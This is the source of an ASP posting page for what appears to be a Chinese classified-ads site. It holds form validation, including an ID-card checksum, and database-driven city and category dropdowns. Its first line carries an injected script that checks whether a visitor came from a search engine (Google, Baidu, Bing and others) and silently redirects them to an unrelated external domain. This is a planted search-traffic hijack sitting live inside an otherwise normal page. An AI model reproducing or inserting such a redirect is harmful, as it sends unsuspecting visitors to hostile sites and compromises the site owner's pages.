d:\wwwroot\wuchunhua\fabu.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="head.asp"-->
002: <SCRIPT LANGUAGE="JavaScript">
003: <!--//
004: function checkadd()
005: {  
006:
007:                    //检查年月日是否是合法日期
008:
009:                    function isdate(intYear,intMonth,intDay){
010:
011:                       if(isNaN(intYear)||isNaN(intMonth)||isNaN(intDay)) return false;    
012:
013:                       if(intMonth>12||intMonth<1) return false;  
014:
015:                       if ( intDay<1||intDay>31)return false;  
016:
017:                       if((intMonth==4||intMonth==6||intMonth==9||intMonth==11)&&(intDay>30)) return false;  
018:
019:                       if(intMonth==2){  
020:
021:                          if(intDay>29) return false;    
022:
023:                          if((((intYear%100==0)&&(intYear%400!=0))||(intYear%4!=0))&&(intDay>28))return false;  
024:
025:                         }  
026:
027:                       return true;  
028:
029:                    }  
030:
031:
032:
033:                    //检查身份证是否是正确格式
034:
035:                    function checkCard(dcardid)
036:
037:                    {
038:
039:                        var pattern;
040:
041:                             if (dcardid.length==15)
042:
043:                             {
044:
045:                                  pattern= /^\d{15}$/;//正则表达式,15位且全是数字
046:
047:                                  if (pattern.exec(dcardid)==null)
048:
049:                                  {
050:
051:                                     alert("15位身份证号码必须为数字!")
052:
053:
054:                                       return false;
055:
056:                                  }
057:
058:                                  if (!isdate("19"+dcardid.substring(6,8),dcardid.substring(8,10),dcardid.substring(10,12)))
059:
060:                                  {
061:
062:                               alert("身份证号码中所含日期不正确")
063:
064:                                  return false;}
065:
066:                                 
067:
068:                             }
069:
070:                             else     if (dcardid.length==18)
071:
072:                             {
073:
074:                                 pattern= /^\d{17}(\d|x|X)$/;//正则表达式,18位且前17位全是数字,最后一位只能数字,x,X
075:
076:                                  if (pattern.exec(dcardid)==null)
077:
078:                                  {
079:
080:                                             alert("18位身份证号码必须为数字!")
081:
082:                                           return false;
083:
084:                                  }
085:
086:                                  if (!isdate(dcardid.substring(6,10),dcardid.substring(10,12),dcardid.substring(12,14)))
087:
088:                                  {
089:
090:                                         alert("身份证号码中所含日期不正确")  
091:
092:                                  return false;
093:
094:                                  }
095:
096:                                  var strJiaoYan  =[  "1", "0", "X", "9", "8", "7", "6", "5", "4", "3", "2"];
097:
098:                                  var intQuan =[7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2, 1];
099:
100:                                  var intTemp=0;
101:
102:                                  for(i = 0; i < dcardid.length - 1; i++)
103:
104:                                  intTemp +=  dcardid.substring(i, i + 1)  * intQuan[i];  
105:
106:                                  intTemp %= 11;
107:
108:                                  if(dcardid.substring(dcardid.length - 1,dcardid.length).toUpperCase()!=strJiaoYan[intTemp])
109:
110:                                  {
111:
112:                                         alert("身份证末位验证码失败!")
113:
114:                                  return false;
115:
116:                                  }
117:
118:                             }
119:
120:                             else
121:
122:                             {
123:
124:                             alert("身份证号长度必须为15或18!")
125:
126:                             return false;
127:
128:                             }
129:
130:                     return true;  
131:
132:                    }
133:
134:
135:     if (document.postart.dtitle.value.length<1)
136:    {
137:         alert("请您填写信息标题!");
138:         document.postart.dtitle.focus();
139:         return false;
140:     }
141:     if (document.postart.type_one.value=="选择信息")
142:    {
143:         alert("请您选择信息类别!");
144:         document.postart.dlei.focus();
145:         return false;
146:     }
147:    if (document.postart.city_one.value=="选择城市")
148:    {
149:         alert("请您选择城市!");
150:         document.postart.dlei.focus();
151:         return false;
152:     }
153:     if (document.postart.dtext.value.length<1)
154:    {
155:         alert("请您填写信息内容!");
156:         document.postart.dtext.focus();
157:         return false;
158:     }
159:     if (document.postart.dtext.value.length>800)
160:    {
161:         alert("请把信息内容的字数控制在800以内!");
162:         document.postart.dtext.focus();
163:         return false;
164:     }
165:    if (document.postart.dusername.value.length == 0) {
166:       alert("请您填写联系人姓名!");
167:       document.postart.dusername.focus();
168:       return false;
169:    }
170:    var str="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,./'[]{}`1234567890-=\~!@#$%^&*()_+|?><:";
171:    var errorChar
172:    errorChar = isCharsInBag(postart.dusername.value,str)
173:    if (errorChar != "" )
174:    {
175:       alert('联系人姓名必须是中文!');
176:       postart.dusername.focus();
177:       return false;
178:    }
179: function isCharsInBag (s, bag)
180: {
181: var i,c;
182: for (i = 0; i < s.length; i++)
183: {
184: c = s.charAt(i);//字符串s中的字符
185: if (bag.indexOf(c) > -1)
186: return c;
187: }
188: return "";
189: }
190:   
191:        if(document.postart.dusername.value.length<2||document.postart.dusername.value.length>4){
192:       alert("联系人姓名不能少于2字多于4字!");
193:       document.postart.dusername.focus();
194:       return false;
195:    }  
196:    <%if webcardid="1" then%>
197:    if (document.postart.dcardid.value.length == 0) {
198:       alert("请填写您的身份证号!");
199:       document.postart.dcardid.focus();
200:       return false;
201:    }
202:       if(checkCard(document.postart.dcardid.value)==false)
203:       {
204:          document.postart.dcardid.focus();
205:          return false;
206:       }
207:       <%end if%>
208:   
209:     if (document.postart.dtel.value.length<7)
210:    {
211:         alert("请填写您的联系电话,不能小于七位!");
212:         document.postart.dtel.focus();
213:         return false;
214:     }
215:     if (document.postart.dstop.value=="选择有效期")
216:    {
217:         alert("请您选择有效期限!");
218:         document.postart.dstop.focus();
219:         return false;
220:     }
221: }
222: //-->

223: </SCRIPT>
224: <SCRIPT LANGUAGE="JavaScript">      
225: <!-- Begin
226: maxLen = 800;
227: function checkMaxInput(form) {
228: if (form.dtext.value.length > maxLen)
229: form.remLen.value = 0;
230: else form.remLen.value = maxLen - form.dtext.value.length;
231: }
232: //  End -->

233: </script><body bgcolor="#FFFFFF">
234: <form action="fabu_save.asp" method="post" name="postart" onsubmit="return checkadd()">
235: <table width="700"  border="0" align="center" cellpadding="0" cellspacing="0">
236:   <tr>
237:     <td><img src="images/fabu-top.gif" width="700" height="59"></td>
238:   </tr>
239:   <tr>
240:     <td height="25">有“<font color="#FF0000">*</font>”的项目必须填写!</td>
241:   </tr>
242:   <tr>
243:     <td height="25" bgcolor="3399CC">&nbsp;<img src="images/icon_arrow_4.gif" width="8" height="8"><font color="#FFFFFF">&nbsp;信息基本资料填写</font></td>
244:   </tr>
245:   <tr>
246:     <td><table width="100%"  border="0" cellspacing="0" cellpadding="0">
247:       <tr>
248:         <td width="20%" height="30">* <strong>信息标题:</strong></td>
249:         <td height="30"><input name="dtitle" type="text" id="dtitle" size="30" maxlength="10">
250:           &nbsp;&nbsp;10字以内</td>
251:       </tr>
252:       <tr>
253:         <td width="20%" height="30">* <strong>选择城市:</strong></td>
254:         <td height="30"><%
255: set rs=conn.execute("select * from china_city where id>0 and twoid>0 and threeid=0")
256: %
>
257:           <script language = "JavaScript">
258: var onecount;
259: onecount=0;
260: subcat = new Array();
261:         <%
262:       dim count:count = 0
263:         do while not rs.eof
264:         %
>
265: subcat[<%=count%>] = new Array("<%=rs("city")%>","<%=rs("id")%>","<%=rs("twoid")%>");
266:         <%
267:         count = count + 1
268:         rs.movenext
269:         loop
270:         rs.close
271:       set rs=nothing
272:         %
>
273: onecount=<%=count%>;
274:           </script>
275:           <%
276: set rs=conn.execute("select * from china_city where id>0 and twoid>0 and threeid>0")
277: %
>
278:           <script language = "JavaScript">
279: var onecount4;
280: onecount4=0;
281: subcat4 = new Array();
282:         <%
283:       dim count4:count4 = 0
284:         do while not rs.eof
285:         %
>
286: subcat4[<%=count4%>] = new Array("<%=rs("city")%>","<%=rs("id")%>","<%=rs("twoid")%>","<%=rs("threeid")%>");
287:         <%
288:         count4 = count4 + 1
289:         rs.movenext
290:         loop
291:         rs.close
292:       set rs = nothing
293:         %
>
294: onecount4=<%=count4%>;
295:
296: function changelocation(locationid)
297:     {
298:     document.postart.city_two.length = 0;
299:    document.postart.city_two.options[0] = new Option('选择城市','');
300:    document.postart.city_three.length = 0;
301:    document.postart.city_three.options[0] = new Option('选择城市','');
302:     var locationid=locationid;
303:     var i;
304:     for (i=0;i < onecount; i++)
305:         {
306:             if (subcat[i][1] == locationid)
307:             {
308:                 document.postart.city_two.options[document.postart.city_two.length] = new Option(subcat[i][0], subcat[i][2]);
309:             }        
310:         }
311:         
312:     }    
313:   
314:    function changelocation4(locationid,locationid1)
315:     {
316:     document.postart.city_three.length = 0;
317:     document.postart.city_three.options[0] = new Option('选择城市','');
318:     var locationid=locationid;
319:     var locationid1=locationid1;
320:     var i;
321:     for (i=0;i < onecount4; i++)
322:         {
323:             if (subcat4[i][2] == locationid)
324:             {
325:          if (subcat4[i][1] == locationid1)
326:          {
327:                 document.postart.city_three.options[document.postart.city_three.length] = new Option(subcat4[i][0], subcat4[i][3]);
328:             }        
329:         }
330:        }
331:     }            
332:               </script>
333:           <select name="city_one" size="1" id="select" onChange="changelocation(document.postart.city_one.options[document.postart.city_one.selectedIndex].value)">
334:             <option value="" selected>选择城市</option>
335:             <%set rs=conn.execute("select * from china_city where id>0 and twoid=0")
336: if rs.eof or rs.bof then
337: response.write "<option value=''>没有分类</option>"
338: else
339: do until rs.eof
340: response.write "<option value='"&rs("id")&"'>"&rs("city")&"</option>"
341:     rs.movenext
342:     loop
343: end if
344: rs.close
345: set rs = nothing
346: %
>
347:           </select>
348:           <select name="city_two" id="select6" onChange="changelocation4(document.postart.city_two.options[document.postart.city_two.selectedIndex].value,document.postart.city_one.options[document.postart.city_one.selectedIndex].value)">
349:             <option value="" selected>选择城市</option>
350:           </select>
351:           <select name="city_three" id="select7">
352:             <option value="" selected>选择城市</option>
353:           </select>
354:           </td>
355:       </tr>
356:       <tr>
357:         <td width="20%" height="30">* <strong>信息类别:</strong></td>
358:         <td height="30"><%
359: set rs=conn.execute("select * from china_type where id>0 and twoid>0 and threeid=0")
360: %
>
361:           <script language = "JavaScript">
362: var onecount2;
363: onecount2=0;
364: subcat2 = new Array();
365:         <%
366:       dim count2:count2 = 0
367:         do while not rs.eof
368:         %
>
369: subcat2[<%=count2%>] = new Array("<%=rs("name")%>","<%=rs("id")%>","<%=rs("twoid")%>");
370:         <%
371:         count2 = count2 + 1
372:         rs.movenext
373:         loop
374:         rs.close
375:       set rs = nothing
376:         %
>
377: onecount2=<%=count2%>;
378:           </script>
379:           <%
380: set rs=conn.execute("select * from china_type where id>0 and twoid>0 and threeid>0")
381: %
>
382:           <script language = "JavaScript">
383: var onecount3;
384: onecount3=0;
385: subcat3 = new Array();
386:         <%
387:       dim count3:count3 = 0
388:         do while not rs.eof
389:         %
>
390: subcat3[<%=count3%>] = new Array("<%=rs("name")%>","<%=rs("id")%>","<%=rs("twoid")%>","<%=rs("threeid")%>");
391:         <%
392:         count3 = count3 + 1
393:         rs.movenext
394:         loop
395:         rs.close
396:       set rs = nothing
397:         %
>
398: onecount3=<%=count3%>;
399:
400:
401:
402: function changelocation2(locationid)
403:     {
404:     document.postart.type_two.length = 0;
405:     document.postart.type_two.options[0] = new Option('选择信息','');
406:    document.postart.type_three.length = 0;
407:     document.postart.type_three.options[0] = new Option('选择信息','');
408:     var locationid=locationid;
409:    var i;
410:     for (i=0;i < onecount2; i++)
411:         {
412:             if (subcat2[i][1] == locationid)
413:             {
414:                 document.postart.type_two.options[document.postart.type_two.length] = new Option(subcat2[i][0], subcat2[i][2]);
415:             }        
416:         }
417:       
418:     }    
419:      function changelocation3(locationid,locationid1)
420:     {
421:     document.postart.type_three.length = 0;
422:     document.postart.type_three.options[0] = new Option('选择信息','');
423:     var locationid=locationid;
424:     var locationid1=locationid1;
425:     var i;
426:     for (i=0;i < onecount3; i++)
427:         {
428:             if (subcat3[i][2] == locationid)
429:             {
430:          if (subcat3[i][1] == locationid1)
431:          {
432:                 document.postart.type_three.options[document.postart.type_three.length] = new Option(subcat3[i][0], subcat3[i][3]);
433:             }        
434:         }
435:        }
436:     }            
437:          </script>
438:           <select name="type_one" size="1" id="select8" onChange="changelocation2(document.postart.type_one.options[document.postart.type_one.selectedIndex].value)">
439:             <option value="" selected>选择信息</option>
440:             <%set rs=conn.execute("select * from china_type where id>0 and twoid=0")
441: if rs.eof or rs.bof then
442: response.write "<option value=''>没有分类</option>"
443: else
444: do until rs.eof
445: response.write "<option value='"&rs("id")&"'>"&rs("name")&"</option>"
446:     rs.movenext
447:     loop
448:    type_oneid=HtmlEncode(trim(request.form("type_one")))
449:    response.Write(type_oneid)
450: end if
451: rs.close
452: set rs = nothing
453: %
>
454:           </select>
455:           <select name="type_two" id="select9" onChange="changelocation3(document.postart.type_two.options[document.postart.type_two.selectedIndex].value,document.postart.type_one.options[document.postart.type_one.selectedIndex].value)">
456:             <option value="" selected>选择信息</option>
457:           </select>
458:           <select name="type_three" id="select10">
459:             <option value="" selected>选择信息</option>
460:           </select>
461:           </td>
462:       </tr>
463:       <tr>
464:         <td width="20%" height="30">* <strong>信息内容:</strong></td>
465:         <td height="30"><textarea rows="10" name="dtext" cols="50" onKeyDown="checkMaxInput(this.form)" onKeyUp="checkMaxInput(this.form)"></textarea><br>
466: *&nbsp;800字以内&nbsp;目前还可以写
467: <input readonly type=text name=remLen size=4 maxlength=2 value="800" style="border: 1 solid #888888">
468: 个字</td>
469:       </tr>
470:       <tr bgcolor="3399CC">
471:         <td height="25" colspan="2">&nbsp;<img src="images/icon_arrow_4.gif" width="8" height="8"><font color="#FFFFFF">&nbsp;联系方式</font></td>
472:         </tr>
473:       <tr>
474:         <td width="20%" height="30">* <strong>联&nbsp;&nbsp;系&nbsp;人:</strong></td>
475:         <td height="30"><input name="dusername" type="text" id="dusername2" size="20" maxlength="20">
476:           &nbsp;&nbsp;中文(2-4字)</td>
477:       </tr>
478:       <tr>
479:         <td height="30">* <strong>联系电话:</strong></td>
480:         <td height="30"><input name="dtel" type="text" id="dtel2" size="20" maxlength="20">
481:           &nbsp;&nbsp; (7位以上)</td>
482:       </tr>
483:       <tr>
484:         <td height="30">* <strong>有效期限:</strong></td>
485:         <td height="30"><select size="1" name="dstop">
486:           <option value="选择有效期" selected>选择有效期</option>
487:           <option value="7">一星期</option>
488:           <option value="15">半个月</option>
489:           <option value="31">一个月</option>
490:           <option value="61">两个月</option>
491:           <option value="92">三个月</option>
492:           <option value="183">半年</option>
493:           <option value="365">一年</option>
494:         </select>
495:           </td>
496:       </tr>
497:       <tr>
498:         <td height="30">* <strong>验&nbsp;&nbsp;证&nbsp;码:</strong></td>
499:         <td height="30"><input name="CheckCode" type="text" id="CheckCode2" size=4 maxlength="4">
500:           <img src="admin/other/china_GetCode.asp"></td>
501:       </tr>
502:     </table>      </td>
503:   </tr>
504:   <tr>
505:     <td height="40"><div align="center">
506:   <input type="submit" value="确认发布信息" name="submit">
507: &nbsp;
508:   <input type="reset" value="取消" name="reset">
509: &nbsp;
510:   <input type="button" value="返回" name="back" onClick="javascript:history.back()">
511:     </div></td>
512:   </tr>
513: </table></form>
514: <!--#include file="foot.asp"-->
515:
516: